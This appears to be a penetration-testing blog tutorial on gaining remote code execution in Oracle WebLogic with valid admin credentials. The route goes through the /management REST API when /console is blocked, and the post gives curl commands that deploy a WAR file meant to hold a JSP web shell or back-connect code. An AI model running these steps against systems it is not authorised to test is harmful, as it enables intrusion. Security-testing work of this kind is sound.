This article explains how to exploit Oracle WebLogic for remote code execution by using valid credentials. It’s useful during black-box security audits, pentests, and infrastructure audits, including automated vulnerability scanning.

To set up an example playground, we will use the following docker container:

docker run -p7001:7001 --name weblogic --rm vulhub/weblogic:12.2.1.3

Again, we need to have management rights & access to the administrator console (/console web endpoint) to cause remote code execution in Oracle WebLogic.

In an example from our security audit practice, the WebLogic console credentials were known, but access to /console was blocked by Apache proxy. However, it was possible to call /management endpoint instead of /console. This is a common mistake that administrators make during securing WebLogic panels. 

The management panel works over the REST API protocol and includes functionality that is interesting for an attacker, from disclosing technical data to executing arbitrary code or denying service.

We collected all the security-related REST API /management/ endpoints of WebLogic to simplify security practitioners job:

1. /tenant-monitoring https://docs.oracle.com/cd/E24329_01/web.1211/e26722/toc.htm#RESTS155
2. /weblogic – is used to access the different versions of the resources in this domain. https://docs.oracle.com/middleware/12213/wls/WLROM/resources.htm#WLROM173
3. /wls – manages the applications that are deployed in this WLS domain. https://docs.oracle.com/middleware/1213/wls/WLRMR/management_wls_version_deployments_application.htm

And the last one, WLS it the most interesting one. Technically, this endpoint is responsible for deploying applications, and applications, obviously, means arbitrary code.

As we can see in the documentation, the WAR package should be transferred via POST request:

curl -v \
 --user weblogic:weak_password \
 -H X-Requested-By:MyClient \
 -H Accept:application/json \
 -H Content-Type:multipart/form-data \
 -F "model={ name: ‘random_deploy_name’, targets: [ ‘Cluster_name_here’, 'Server_name_here'] }" \
 -F "deployment=@/tmp/cmd.war" \
 -X POST http://weblogic:7001/management/wls/latest/deployments/application

For successful deployment, we need to specify “cluster” and “server” variables. To the first value, we have to call another endpoint: http://weblogic:7001/management/tenant-monitoring/clusters

In our example, the cluster name is “webshell”. The “server” value in a standard assembly is equal to “AdminServer”. The value is also available by the link:http://weblogic:7001/management/tenant-monitoring/servers

Also, if there is no cluster available, we can create a new one with the following curl command:

curl -v \
 --user weblogic:weak_password \
 -H X-Requested-By:MyClient \
 -H Accept:application/json \
 -H Content-Type:application/json \
 -d "{ name: 'webshell' }" \
 -X POST http://weblogic:7001/management/weblogic/latest/edit/clusters

The result of a successful deployment should look something like:

Inside the war-image, we can put is JSP-based web shell, back connect, or other arbitrary code with no limitations. After the deployment, it will be accessible by the link:

That’s it! We hope this article will save 15-20 minutes of your time during the next pentest with access to the Oracle WebLogic. Enjoy your projects!